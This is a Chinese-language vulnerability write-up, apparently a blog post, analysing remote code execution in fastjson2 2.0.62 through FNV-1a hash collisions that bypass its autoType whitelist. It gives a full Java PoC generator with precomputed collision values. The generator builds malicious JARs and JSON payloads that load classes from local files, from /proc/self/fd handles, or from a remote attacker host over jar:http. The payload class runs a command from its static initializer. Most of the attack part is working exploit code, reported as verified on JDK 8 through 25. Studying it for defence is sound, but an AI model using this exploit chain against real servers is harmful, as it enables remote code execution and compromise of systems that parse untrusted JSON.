fastjson2 2.0.62 RCE分析

payload跟1.2.83类似，唯一的区别在于要绕过哈希校验，也就是要哈希碰撞一下

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jar:http:..attacker:18083.x!.<collision>.Exception
jar:file:.tmp.x!.<collision>.Exception    
jar:file:.proc.self.fd.17!.<collision>.Exception

这里还是会跟1.2.83一样把.变成/。这里的class设计成Exception的原因也跟之前一样，为了使得checkautoType失败返回null，而不是退出。但是实际去看fastjson2的代码发现没有跟1.x一样的逻辑，所以关键点还是哈希校验

漏洞原理

fastjson2 2.0.62 的 ObjectReaderProvider这里

注意这里的哈希值，默认没有配置白名单时，数组至少包含：

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signed   = -6293031534589903644
unsigned = 12153712539119647972
hex      = 0xA8AAA929446FFCE4

它对应：

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com.alibaba.fastjson.util.AntiCollisionHashMap

来到checkAutoType这里

这里两个if下的语句几乎是一样的，也就是开不开SupportAutoType都会走FNV-1a Hash白名单校验，默认只有一个白名单-6293031534589903644，通过就会进入loadClass。

问题在于：

比较的是每一步的增量 hash，而不是只比较完整 typeName 的 hash；
命中后传给 loadClass 的是完整攻击者字符串；
2.0.62 没有把命中的前缀与真实白名单文本再比较；
因此 jar:file、jar:http 或 jar:file:/proc/self/fd 可以作为完整输入继续进入类加载器。

构造哈希碰撞

下面举个例子构造哈希碰撞：

FNV-1a 计算为：

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long hash = FNV_OFFSET;
for (int i = 0; i < value.length(); i++) {
    hash = (hash ^ value.charAt(i)) * FNV_PRIME;
}

file 前缀和碰撞段为：

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prefix = jar:file:.tmp.x!.
values = [54377, 36551, 40219, 34432, 50489]
escape = \uD469\u8EC7\u9D1B\u8680\uC539

HTTP 实验前缀为：

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prefix = jar:http:..attacker:18083.x!.
values = [48587, 51161, 39184, 36439, 50845]
escape = \uBDCB\uC7D9\u9910\u8E57\uC69D

两者都满足：

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FNV(prefix + collision) = 0xA8AAA929446FFCE4

值得注意的是这个碰撞段位于!之后，在我们要的Class之前，这个位置会在完整 typeName 扫描中命中，只要 JAR entry 和类文件内部名按同一字符串构造即可。

触发入口

fastjson2的JSON.parse并不是遇到每种类型的@type都会加载后面的字段的，只有走ObjectReaderImplObject.readObject 的路径，才会在默认配置下调checkAutoType。

也就是例如JSON.parse(json) 遇到 { 时通常创建 JSONObject，进入 JSONReader.read(Map, long)。在默认关闭 SupportAutoType 时，@type 会作为普通 map 字段处理，不会进入 checkAutoType。

而数组类型，也就是list类型

这里readObject跟进

这条路径会进入 ObjectReaderProvider.checkAutoType,也就是我们想要的。

以下两种也会进入 ObjectReaderImplObject：

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JSON.parseObject(json, Object.class);

以及：

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public static final class Holder {
    public Object obj;
}

JSON.parseObject(json, Holder.class);

顶层强类型 DTO 的 @type 不在 Object 字段中时则不是同一路径。

触发链路

接下来就跟fastjson1.x那个差不多了

命中 hash 后的调用链是：

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ObjectReaderImplObject.readObject
  -> JSONReader.Context.getObjectReaderAutoType
  -> ObjectReaderProvider.getObjectReader
  -> ObjectReaderProvider.checkAutoType
  -> TypeUtils.loadClass(typeName)
  -> Thread.currentThread().getContextClassLoader().loadClass(typeName)

TypeUtils.loadClass 在 2.0.62 中依次尝试线程上下文类加载器、JSON.class 的类加载器和 Class.forName。Boot fat JAR 中，线程上下文类加载器通常是：

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TomcatEmbeddedWebappClassLoader
  -> LaunchedURLClassLoader
  -> URLClassLoader
  -> URLClassPath

URLClassLoader.findClass 会按下面的规则构造资源：

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String path = name.replace('.', '/').concat(".class");
Resource res = ucp.getResource(path, false);
return defineClass(name, res);

Fastjson2 虽然没有自己调用 getResourceAsStream，但 loadClass 内部的 URLClassPath.getResource 仍然能解释 jar: 形式，并由 JarURLConnection 打开本地或 HTTP JAR。

因此，jdk8还是可以用jar:http的形式打，而jdk17+还是要用fd的形式打，不过这里每一个fd都需要过hash校验就是了

jar三种模式的攻击

总之要先生成jar包

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import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.DirectoryStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Locale;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;

/**
 * Generates the collision JAR and the JSON body used by the lab.
 *
 * This program uses only the JDK. It compiles Exception.java as Java 8 bytecode,
 * rewrites the class-file binary name, and packages the result as a JAR.
 */
public final class PocGenerator {
    private static final long FNV_OFFSET = 0xCBF29CE484222325L;
    private static final long FNV_PRIME = 0x100000001B3L;
    private static final String TARGET_NAME =
            "com.alibaba.fastjson.util.AntiCollisionHashMap";
    private static final String FILE_PREFIX = "jar:file:.tmp.x!.";
    private static final String HTTP_PREFIX =
            "jar:http:..2130706433:18083.x!.";
    private static final String DOCKER_HTTP_PREFIX =
            "jar:http:..3232252414:18083.x!.";
    private static final String ATTACKER_HTTP_PREFIX =
            "jar:http:..attacker:18083.x!.";
    private static final int[] FILE_COLLISION = {
            54377, 36551, 40219, 34432, 50489
    };
    private static final int[] HTTP_COLLISION = {
            0x9BEF, 0x52F5, 0xAA40, 0x26E0, 0xE36D, 0x94F1
    };
    private static final int[] DOCKER_HTTP_COLLISION = {
            36344, 40284, 36568, 49205, 43894
    };
    private static final int[] ATTACKER_HTTP_COLLISION = {
            48587, 51161, 39184, 36439, 50845
    };
    // FNV collisions for jar:file:.proc.self.fd.N!. (N = 3..64).
    // They are generated offline and verified again before a JAR is written.
    private static final int[][] FD_COLLISIONS = {
            {44318,55058,43314,46325,48351}, // fd 3
            {51317,37112,32958,50618,33406}, // fd 4
            {38804,41392,42348,48416,35596}, // fd 5
            {49077,35943,55264,38487,55088}, // fd 6
            {47589,41932,42961,41772,53434}, // fd 7
            {49622,37776,52296,42649,55102}, // fd 8
            {52117,37291,38238,37724,41062}, // fd 9
            {54916,43478,45736,52683,40141}, // fd 10
            {39813,40791,40990,54728,45903}, // fd 11
            {46524,33805,33869,45876,39562}, // fd 12
            {49513,36971,46467,33691,46625}, // fd 13
            {38465,40457,46928,33074,40850}, // fd 14
            {35655,48002,38293,46455,43772}, // fd 15
            {45311,33580,34415,47886,52594}, // fd 16
            {32856,34130,37797,41868,54056}, // fd 17
            {36302,53245,35969,52828,50782}, // fd 18
            {51687,32839,49344,54500,54299}, // fd 19
            {53738,46725,38656,39950,52402}, // fd 20
            {36458,41800,43499,42127,39926}, // fd 21
            {32900,47408,50500,37645,49052}, // fd 22
            {45548,49004,47865,54654,55219}, // fd 23
            {44295,52589,51163,49711,40015}, // fd 24
            {36390,55207,41892,49912,42045}, // fd 25
            {49709,52228,51948,46054,46264}, // fd 26
            {53239,54151,53948,42038,33864}, // fd 27
            {35015,44737,44826,48275,45434}, // fd 28
            {35113,50894,51988,48242,38223}, // fd 29
            {39255,41888,53729,37476,53210}, // fd 30
            {41860,38629,47052,33239,50701}, // fd 31
            {36374,32893,43429,38052,44170}, // fd 32
            {44885,42872,52565,38690,38803}, // fd 33
            {43582,51561,42214,51992,53131}, // fd 34
            {34608,39263,54096,35378,51316}, // fd 35
            {50815,51568,49918,39715,42458}, // fd 36
            {53928,45670,52147,55162,49230}, // fd 37
            {50962,40820,53817,34969,37652}, // fd 38
            {43340,34431,33531,53873,35262}, // fd 39
            {48559,41023,38201,50462,54722}, // fd 40
            {36120,48211,48202,51981,39696}, // fd 41
            {54810,35635,51859,43563,35312}, // fd 42
            {47751,53715,37590,37102,40228}, // fd 43
            {47196,37377,32892,46939,54893}, // fd 44
            {52571,54645,39593,43360,54045}, // fd 45
            {52680,41691,52204,36959,46649}, // fd 46
            {52628,45249,34138,32800,46235}, // fd 47
            {34111,37358,51025,42527,39190}, // fd 48
            {41250,35029,39444,43249,42414}, // fd 49
            {35560,54938,42008,54421,35383}, // fd 50
            {49229,41607,41735,52446,48272}, // fd 51
            {38512,48546,44868,53661,36773}, // fd 52
            {53675,52001,47248,52946,52081}, // fd 53
            {33022,48252,53638,43171,34811}, // fd 54
            {34910,46313,46547,43378,50773}, // fd 55
            {34378,37892,53255,38087,42004}, // fd 56
            {50418,45458,37645,43544,40290}, // fd 57
            {33297,47998,40305,47994,46422}, // fd 58
            {51504,48540,54624,49450,53555}, // fd 59
            {38713,38694,51115,52783,48868}, // fd 60
            {33978,35428,54632,45254,44630}, // fd 61
            {36395,43143,51049,52114,35150}, // fd 62
            {45747,41208,51613,48773,48165}, // fd 63
            {55127,52112,39149,37125,36480}  // fd 64
    };

    private PocGenerator() {
    }

    public static void main(String[] args) throws Exception {
        Options options = Options.parse(args);
        Path root = Paths.get("").toAbsolutePath().normalize();
        if ("fd".equals(options.mode)) {
            generateFd(root, options);
            return;
        }

        String prefix = options.prefix == null
                ? ("http".equals(options.mode) ? HTTP_PREFIX : FILE_PREFIX)
                : options.prefix;
        int[] collisionValues = collisionFor(prefix);
        String collision = fromCodeUnits(collisionValues);
        long targetHash = fnv(TARGET_NAME);
        long collisionHash = fnv(prefix + collision);
        if (targetHash != collisionHash) {
            throw new IllegalStateException("collision verification failed for prefix: " + prefix);
        }

        String typeName = prefix + collision + ".Exception";
        String internalName = typeName.replace('.', '/');
        String jarEntry = collision + "/Exception.class";
        Path output = root.resolve(options.output).normalize();
        Path payloadOutput = root.resolve(options.payloadOutput).normalize();
        Path rawOutput = root.resolve(options.rawOutput).normalize();
        Path payloadSource = root.resolve("poc/Exception.java").normalize();

        byte[] compiled = rewriteClassName(compileException(payloadSource), internalName);
        Files.createDirectories(output.getParent());
        try (JarOutputStream jar = new JarOutputStream(Files.newOutputStream(output))) {
            jar.putNextEntry(new JarEntry(jarEntry));
            jar.write(compiled);
            jar.closeEntry();
        }

        String payload = buildPayload(options.payloadShape, typeName);
        String metadata = metadataJson(options.mode, prefix, collisionValues,
                typeName, internalName, jarEntry, output, options.payloadShape,
                payload, targetHash);
        Files.createDirectories(payloadOutput.getParent());
        Files.createDirectories(rawOutput.getParent());
        Files.write(payloadOutput, metadata.getBytes(StandardCharsets.US_ASCII));
        Files.write(rawOutput, payload.getBytes(StandardCharsets.US_ASCII));

        System.out.println(metadata);
        System.out.println("raw payload: " + payload);
        System.out.println("collision hash: " + hex(collisionHash));
    }

    private static String buildPayload(String shape, String typeName) {
        String type = jsonQuoteAscii(typeName);
        if ("holder".equals(shape)) {
            return "{\"obj\":{\"@type\":" + type + "}}";
        }
        if ("object".equals(shape)) {
            return "{\"@type\":" + type + "}";
        }
        if ("list".equals(shape) || "set".equals(shape)) {
            return "[{\"@type\":" + type + "}]";
        }
        if ("map".equals(shape)) {
            return "{\"value\":{\"@type\":" + type + "}}";
        }
        throw new IllegalArgumentException(
                "payload shape must be holder, object, list, set or map");
    }

    /**
     * Builds the two-stage Linux experiment described in the research article.
     * The first object member opens/caches the remote JAR but has no matching
     * <stage-collision>/Exception.class entry; later members reopen candidate
     * /proc/self/fd/N handles.
     */
    private static void generateFd(Path root, Options options) throws Exception {
        if (options.host == null || options.host.length() == 0
                || options.port != 18083) {
            throw new IllegalArgumentException(
                    "fd mode currently bundles host 2130706433, 3232252414 or attacker on port 18083");
        }
        if (options.minFd < 3 || options.maxFd > 64 || options.minFd > options.maxFd) {
            throw new IllegalArgumentException("fd range must be within 3..64");
        }

        String httpPrefix = "jar:http:.." + options.host + ":"
                + options.port + ".x!.";
        int[] httpCollision = collisionFor(httpPrefix);
        String httpCollisionText = fromCodeUnits(httpCollision);
        verifyCollision(httpPrefix, httpCollisionText);
        String stageType = httpPrefix + httpCollisionText + ".Exception";

        Path output = root.resolve(options.output).normalize();
        Path payloadOutput = root.resolve(options.payloadOutput).normalize();
        Path rawOutput = root.resolve(options.rawOutput).normalize();
        Path payloadSource = root.resolve("poc/Exception.java").normalize();
        byte[] template = compileException(payloadSource);

        StringBuilder payload = new StringBuilder("{\"obj\":");
        payload.append("{\"@type\":").append(jsonQuoteAscii(stageType)).append('}');
        Files.createDirectories(output.getParent());
        try (JarOutputStream jar = new JarOutputStream(Files.newOutputStream(output))) {
            for (int fd = options.minFd; fd <= options.maxFd; fd++) {
                String prefix = "jar:file:.proc.self.fd." + fd + "!.";
                int[] collisionValues = collisionForFd(fd);
                String collision = fromCodeUnits(collisionValues);
                verifyCollision(prefix, collision);
                String typeName = prefix + collision + ".Exception";
                String internalName = typeName.replace('.', '/');
                String jarEntry = collision + "/Exception.class";
                byte[] classBytes = rewriteClassName(template, internalName);

                jar.putNextEntry(new JarEntry(jarEntry));
                jar.write(classBytes);
                jar.closeEntry();

                payload.append(",\"obj\":{\"@type\":")
                        .append(jsonQuoteAscii(typeName)).append('}');
            }
        }
        payload.append('}');
        String payloadText = payload.toString();
        String metadata = fdMetadataJson(options, httpPrefix, httpCollision,
                stageType, output, payloadText);
        Files.createDirectories(payloadOutput.getParent());
        Files.createDirectories(rawOutput.getParent());
        Files.write(payloadOutput, metadata.getBytes(StandardCharsets.US_ASCII));
        Files.write(rawOutput, payloadText.getBytes(StandardCharsets.US_ASCII));

        System.out.println(metadata);
        System.out.println("raw payload: " + payloadText);
        System.out.println("stage collision hash: " + hex(fnv(httpPrefix + httpCollisionText)));
    }

    private static int[] collisionFor(String prefix) {
        if (FILE_PREFIX.equals(prefix)) {
            return FILE_COLLISION.clone();
        }
        if (HTTP_PREFIX.equals(prefix)) {
            return HTTP_COLLISION.clone();
        }
        if (DOCKER_HTTP_PREFIX.equals(prefix)) {
            return DOCKER_HTTP_COLLISION.clone();
        }
        if (ATTACKER_HTTP_PREFIX.equals(prefix)) {
            return ATTACKER_HTTP_COLLISION.clone();
        }
        throw new IllegalArgumentException(
                "No bundled collision for prefix: " + prefix
                        + ". Use the documented file or HTTP prefix.");
    }

    private static int[] collisionForFd(int fd) {
        if (fd < 3 || fd > 64) {
            throw new IllegalArgumentException("no bundled fd collision for " + fd);
        }
        return FD_COLLISIONS[fd - 3].clone();
    }

    private static void verifyCollision(String prefix, String collision) {
        long expected = fnv(TARGET_NAME);
        long actual = fnv(prefix + collision);
        if (expected != actual) {
            throw new IllegalStateException("collision verification failed for prefix: " + prefix
                    + " actual=" + hex(actual) + " expected=" + hex(expected));
        }
    }

    private static long fnv(String value) {
        long hash = FNV_OFFSET;
        for (int i = 0; i < value.length(); i++) {
            hash = (hash ^ value.charAt(i)) * FNV_PRIME;
        }
        return hash;
    }

    private static String fromCodeUnits(int[] values) {
        StringBuilder value = new StringBuilder(values.length);
        for (int codeUnit : values) {
            value.append((char) codeUnit);
        }
        return value.toString();
    }

    private static byte[] compileException(Path source) throws Exception {
        JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
        if (compiler == null) {
            throw new IllegalStateException("A JDK is required; javac is not available");
        }
        Path temp = Files.createTempDirectory("fastjson2-poc-");
        Path classes = temp.resolve("classes");
        Files.createDirectories(classes);
        try {
            String[] compilerArgs = {
                    "-encoding", "UTF-8",
                    "-source", "8",
                    "-target", "8",
                    "-d", classes.toString(),
                    source.toString()
            };
            int result = compiler.run(null, null, null, compilerArgs);
            if (result != 0) {
                throw new IllegalStateException("Exception.java compilation failed: " + result);
            }
            Path compiled = classes.resolve("probe/Exception.class");
            return Files.readAllBytes(compiled);
        } finally {
            deleteTree(temp);
        }
    }

    private static byte[] rewriteClassName(byte[] classBytes, String internalName)
            throws IOException {
        if (classBytes.length < 10 || classBytes[0] != (byte) 0xCA
                || classBytes[1] != (byte) 0xFE
                || classBytes[2] != (byte) 0xBA
                || classBytes[3] != (byte) 0xBE) {
            throw new IllegalArgumentException("not a Java class file");
        }

        byte[] oldName = "probe/Exception".getBytes(StandardCharsets.UTF_8);
        byte[] newName = internalName.getBytes(StandardCharsets.UTF_8);
        ByteArrayOutputStream buffer = new ByteArrayOutputStream(classBytes.length + newName.length);
        buffer.write(classBytes, 0, 8);
        int position = 8;
        int constantPoolCount = readU2(classBytes, position);
        writeU2(buffer, constantPoolCount);
        position += 2;

        for (int index = 1; index < constantPoolCount; index++) {
            int tag = classBytes[position++] & 0xFF;
            buffer.write(tag);
            switch (tag) {
                case 1:
                    int length = readU2(classBytes, position);
                    position += 2;
                    byte[] value = Arrays.copyOfRange(classBytes, position, position + length);
                    position += length;
                    byte[] replacement = Arrays.equals(value, oldName) ? newName : value;
                    if (replacement.length > 0xFFFF) {
                        throw new IllegalArgumentException("class name is too long");
                    }
                    writeU2(buffer, replacement.length);
                    buffer.write(replacement);
                    break;
                case 3:
                case 4:
                    buffer.write(classBytes, position, 4);
                    position += 4;
                    break;
                case 5:
                case 6:
                    buffer.write(classBytes, position, 8);
                    position += 8;
                    index++;
                    break;
                case 7:
                case 8:
                case 16:
                case 19:
                case 20:
                    buffer.write(classBytes, position, 2);
                    position += 2;
                    break;
                case 9:
                case 10:
                case 11:
                case 12:
                case 17:
                case 18:
                    buffer.write(classBytes, position, 4);
                    position += 4;
                    break;
                case 15:
                    buffer.write(classBytes, position, 3);
                    position += 3;
                    break;
                default:
                    throw new IllegalArgumentException("unknown constant-pool tag: " + tag);
            }
        }
        buffer.write(classBytes, position, classBytes.length - position);
        return buffer.toByteArray();
    }

    private static int readU2(byte[] bytes, int position) {
        return ((bytes[position] & 0xFF) << 8) | (bytes[position + 1] & 0xFF);
    }

    private static void writeU2(ByteArrayOutputStream output, int value) {
        output.write((value >>> 8) & 0xFF);
        output.write(value & 0xFF);
    }

    private static String metadataJson(String mode, String prefix, int[] collision,
                                        String typeName, String internalName,
                                        String jarEntry, Path output, String payloadShape,
                                        String payload,
                                        long targetHash) {
        StringBuilder json = new StringBuilder();
        json.append("{\n")
                .append("  \"mode\": ").append(jsonQuoteAscii(mode)).append(",\n")
                .append("  \"target_name\": ").append(jsonQuoteAscii(TARGET_NAME)).append(",\n")
                .append("  \"target_hash\": ").append(jsonQuoteAscii(hex(targetHash))).append(",\n")
                .append("  \"type_prefix\": ").append(jsonQuoteAscii(prefix)).append(",\n")
                .append("  \"collision_values\": ").append(intArrayJson(collision)).append(",\n")
                .append("  \"collision_escape\": ")
                .append(jsonQuoteAscii(escapeCodeUnits(collision))).append(",\n")
                .append("  \"type_name\": ").append(jsonQuoteAscii(typeName)).append(",\n")
                .append("  \"internal_name\": ").append(jsonQuoteAscii(internalName)).append(",\n")
                .append("  \"jar_entry\": ").append(jsonQuoteAscii(jarEntry)).append(",\n")
                .append("  \"jar_path\": ").append(jsonQuoteAscii(output.toString())).append(",\n")
                .append("  \"payload_shape\": ").append(jsonQuoteAscii(payloadShape)).append(",\n")
                .append("  \"payload_parse\": ").append(jsonQuoteAscii(payload)).append(",\n")
                .append("  \"id_output\": \"/tmp/fastjson2-poc-id.txt\",\n")
                .append("  \"endpoint\": ").append(jsonQuoteAscii(endpointForShape(payloadShape))).append("\n")
                .append("}");
        return json.toString();
    }

    private static String endpointForShape(String shape) {
        if ("object".equals(shape)) {
            return "/api/parse-object";
        }
        if ("list".equals(shape)) {
            return "/api/parse-list";
        }
        if ("set".equals(shape)) {
            return "/api/parse-set";
        }
        if ("map".equals(shape)) {
            return "/api/parse-map";
        }
        return "/api/parse";
    }

    private static String fdMetadataJson(Options options, String httpPrefix,
                                         int[] httpCollision, String stageType,
                                         Path output, String payload) {
        StringBuilder json = new StringBuilder();
        json.append("{\n")
                .append("  \"mode\": \"fd\",\n")
                .append("  \"target_name\": ").append(jsonQuoteAscii(TARGET_NAME)).append(",\n")
                .append("  \"target_hash\": ").append(jsonQuoteAscii(hex(fnv(TARGET_NAME)))).append(",\n")
                .append("  \"stage_prefix\": ").append(jsonQuoteAscii(httpPrefix)).append(",\n")
                .append("  \"stage_collision_values\": ").append(intArrayJson(httpCollision)).append(",\n")
                .append("  \"stage_type\": ").append(jsonQuoteAscii(stageType)).append(",\n")
                .append("  \"fd_range\": [").append(options.minFd).append(',')
                .append(options.maxFd).append("],\n")
                .append("  \"jar_path\": ").append(jsonQuoteAscii(output.toString())).append(",\n")
                .append("  \"payload_parse\": ").append(jsonQuoteAscii(payload)).append(",\n")
                .append("  \"id_output\": \"/tmp/fastjson2-poc-id.txt\",\n")
                .append("  \"endpoint\": \"/api/parse\"\n")
                .append('}');
        return json.toString();
    }

    private static String intArrayJson(int[] values) {
        StringBuilder json = new StringBuilder("[");
        for (int i = 0; i < values.length; i++) {
            if (i > 0) {
                json.append(',');
            }
            json.append(values[i]);
        }
        return json.append(']').toString();
    }

    private static String escapeCodeUnits(int[] values) {
        StringBuilder escaped = new StringBuilder();
        for (int value : values) {
            escaped.append(String.format(Locale.ROOT, "\\u%04X", value));
        }
        return escaped.toString();
    }

    private static String jsonQuoteAscii(String value) {
        StringBuilder json = new StringBuilder(value.length() + 8);
        json.append('"');
        for (int i = 0; i < value.length(); i++) {
            char ch = value.charAt(i);
            switch (ch) {
                case '\\':
                    json.append("\\\\");
                    break;
                case '"':
                    json.append("\\\"");
                    break;
                case '\b':
                    json.append("\\b");
                    break;
                case '\f':
                    json.append("\\f");
                    break;
                case '\n':
                    json.append("\\n");
                    break;
                case '\r':
                    json.append("\\r");
                    break;
                case '\t':
                    json.append("\\t");
                    break;
                default:
                    if (ch < 0x20 || ch > 0x7E) {
                        json.append(String.format(Locale.ROOT, "\\u%04X", (int) ch));
                    } else {
                        json.append(ch);
                    }
            }
        }
        return json.append('"').toString();
    }

    private static String hex(long value) {
        return String.format(Locale.ROOT, "0x%016X", value);
    }

    private static void deleteTree(Path path) throws IOException {
        if (!Files.exists(path)) {
            return;
        }
        try (DirectoryStream<Path> children = Files.newDirectoryStream(path)) {
            for (Path child : children) {
                if (Files.isDirectory(child)) {
                    deleteTree(child);
                } else {
                    Files.deleteIfExists(child);
                }
            }
        }
        Files.deleteIfExists(path);
    }

    private static final class Options {
        private String mode = "file";
        private String prefix;
        private String output = "poc/out/x";
        private String payloadOutput = "poc/out/payload.json";
        private String rawOutput = "poc/out/payload.txt";
        private String payloadShape = "holder";
        private String host = "2130706433";
        private int port = 18083;
        private int minFd = 3;
        private int maxFd = 64;
        private boolean outputSpecified;
        private boolean payloadOutputSpecified;
        private boolean rawOutputSpecified;

        private static Options parse(String[] args) {
            Options options = new Options();
            for (int i = 0; i < args.length; i++) {
                String arg = args[i];
                if ("--mode".equals(arg)) {
                    options.mode = next(args, ++i, arg);
                } else if ("--prefix".equals(arg)) {
                    options.prefix = next(args, ++i, arg);
                } else if ("--output".equals(arg)) {
                    options.output = next(args, ++i, arg);
                    options.outputSpecified = true;
                } else if ("--payload-output".equals(arg)) {
                    options.payloadOutput = next(args, ++i, arg);
                    options.payloadOutputSpecified = true;
                } else if ("--raw-output".equals(arg)) {
                    options.rawOutput = next(args, ++i, arg);
                    options.rawOutputSpecified = true;
                } else if ("--shape".equals(arg) || "--payload-shape".equals(arg)) {
                    options.payloadShape = next(args, ++i, arg).toLowerCase(Locale.ROOT);
                } else if ("--host".equals(arg)) {
                    options.host = next(args, ++i, arg);
                } else if ("--port".equals(arg)) {
                    options.port = Integer.parseInt(next(args, ++i, arg));
                } else if ("--min-fd".equals(arg)) {
                    options.minFd = Integer.parseInt(next(args, ++i, arg));
                } else if ("--max-fd".equals(arg)) {
                    options.maxFd = Integer.parseInt(next(args, ++i, arg));
                } else {
                    throw new IllegalArgumentException("Unknown argument: " + arg);
                }
            }
            if (!"file".equals(options.mode) && !"http".equals(options.mode)
                    && !"fd".equals(options.mode)) {
                throw new IllegalArgumentException("--mode must be file, http or fd");
            }
            if (!"holder".equals(options.payloadShape)
                    && !"object".equals(options.payloadShape)
                    && !"list".equals(options.payloadShape)
                    && !"set".equals(options.payloadShape)
                    && !"map".equals(options.payloadShape)) {
                throw new IllegalArgumentException(
                        "--shape must be holder, object, list, set or map");
            }
            if ("http".equals(options.mode)) {
                if (!options.outputSpecified) {
                    options.output = "poc/out/http-x";
                }
                if (!options.payloadOutputSpecified) {
                    options.payloadOutput = "poc/out/http-payload.json";
                }
                if (!options.rawOutputSpecified) {
                    options.rawOutput = "poc/out/http-payload.txt";
                }
            } else if ("fd".equals(options.mode)) {
                if (!options.outputSpecified) {
                    options.output = "poc/out/fd-x";
                }
                if (!options.payloadOutputSpecified) {
                    options.payloadOutput = "poc/out/fd-payload.json";
                }
                if (!options.rawOutputSpecified) {
                    options.rawOutput = "poc/out/fd-payload.txt";
                }
            }
            return options;
        }

        private static String next(String[] args, int index, String option) {
            if (index >= args.length) {
                throw new IllegalArgumentException("Missing value for " + option);
            }
            return args[index];
        }
    }
}

用jar -tf命令可以指定保存的jar的位置

这里我的Exception.class内容实际上是

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package probe;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.attribute.PosixFilePermissions;

/** Fixed lab payload: execute only id and write its output to a readable file. */
public final class Exception extends java.lang.Exception {
    static {
        runId();
    }

    public Exception() {
        super();
    }

    private static void runId() {
        try {
            Path outputPath = Paths.get("/tmp/fastjson2-poc-id.txt");
            Process process = new ProcessBuilder("id")
                    .redirectErrorStream(true)
                    .start();
            ByteArrayOutputStream output = new ByteArrayOutputStream();
            try (InputStream input = process.getInputStream()) {
                byte[] buffer = new byte[256];
                int count;
                while ((count = input.read(buffer)) != -1) {
                    output.write(buffer, 0, count);
                }
            }
            if (process.waitFor() != 0) {
                return;
            }
            Files.write(outputPath, output.toByteArray());
            try {
                Files.setPosixFilePermissions(outputPath,
                        PosixFilePermissions.fromString("rw-r--r--"));
            } catch (UnsupportedOperationException ignored) {
                // The Docker target is Linux; keep generation usable on Windows.
            }
        } catch (Throwable ignored) {
            // The lab uses the file as the execution proof; parsing stays available.
        }
    }
}

执行id命令之后写入tmp目录，这里就不做调试了，因为后续的内容跟1.x都差不多

接下来我实际验证了jdk8/17/21/25，都能成功复现rce

容器内挂载本地恶意jar包测试jar:file

jdk8下jar:http测试

高版本jdk的fd爆破